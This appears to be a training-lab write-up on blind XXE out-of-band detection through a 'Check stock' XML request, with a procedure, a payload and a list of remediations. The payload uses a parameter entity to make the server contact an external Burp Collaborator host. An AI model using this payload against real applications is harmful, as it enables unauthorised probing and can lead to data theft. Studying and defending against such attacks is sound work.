SCENARIO

The application is vulnerable to XXE out of band interaction as it has a "Check stock" feature that parses XML input but does not display any unexpected values, and blocks requests containing regular external entities. We will use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

**PROCEDURE**

1. Open the web application and visit any product page.
2. Send a Check Stock request and intercept the POST request in BurpSuite’s Proxy tab.
3. Replace the XML body of the request in BurpSuite’s Repeater with the Payload.
4. Now click Poll Now in the BurpSuite’s Collaborator Client and we see that we successfully forced the application to make an out of band interaction.

**PAYLOAD**

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE stockCheck [

<!ENTITY % xxe SYSTEM "http://3w0co0vuo2ft7atcu3ydqasvnmtch1.burpcollaborator.net">

%xxe;

]>

<stockCheck>

<productId>1</productId>

<storeId>1</storeId>

</stockCheck>

# REMEDIATION

1. **Disable External Entity Processing:** The most effective way to prevent XXE attacks is to disable the processing of external entities in the XML parser.
2. **Use Less Complex Data Formats:** If possible, consider using less complex data formats such as JSON, which don't support external entity references in the same way that XML does.
3. **Whitelist Input Validation:** Validate incoming XML using a whitelist to ensure that it only contains expected entities.
4. **Update XML Libraries:** Regularly update XML processing libraries or software to the latest versions. Vulnerabilities and their patches often get reported for popular libraries.
5. **Sandboxing:** If you need to parse XML data from untrusted sources, consider doing it in a sandbox environment. This will limit what an attacker can do if they exploit an XXE vulnerability.
6. **Use a Web Application Firewall (WAF):** Consider using a WAF with rules configured to block typical XXE payloads.
7. **Restrict Permissions:** Ensure that the XML processing is run with the least privileges necessary. This way, even if there is an attempt to access local resources, the application doesn't have the necessary permissions.
8. **Network Segmentation:** Consider isolating systems that process XML from sensitive parts of the network.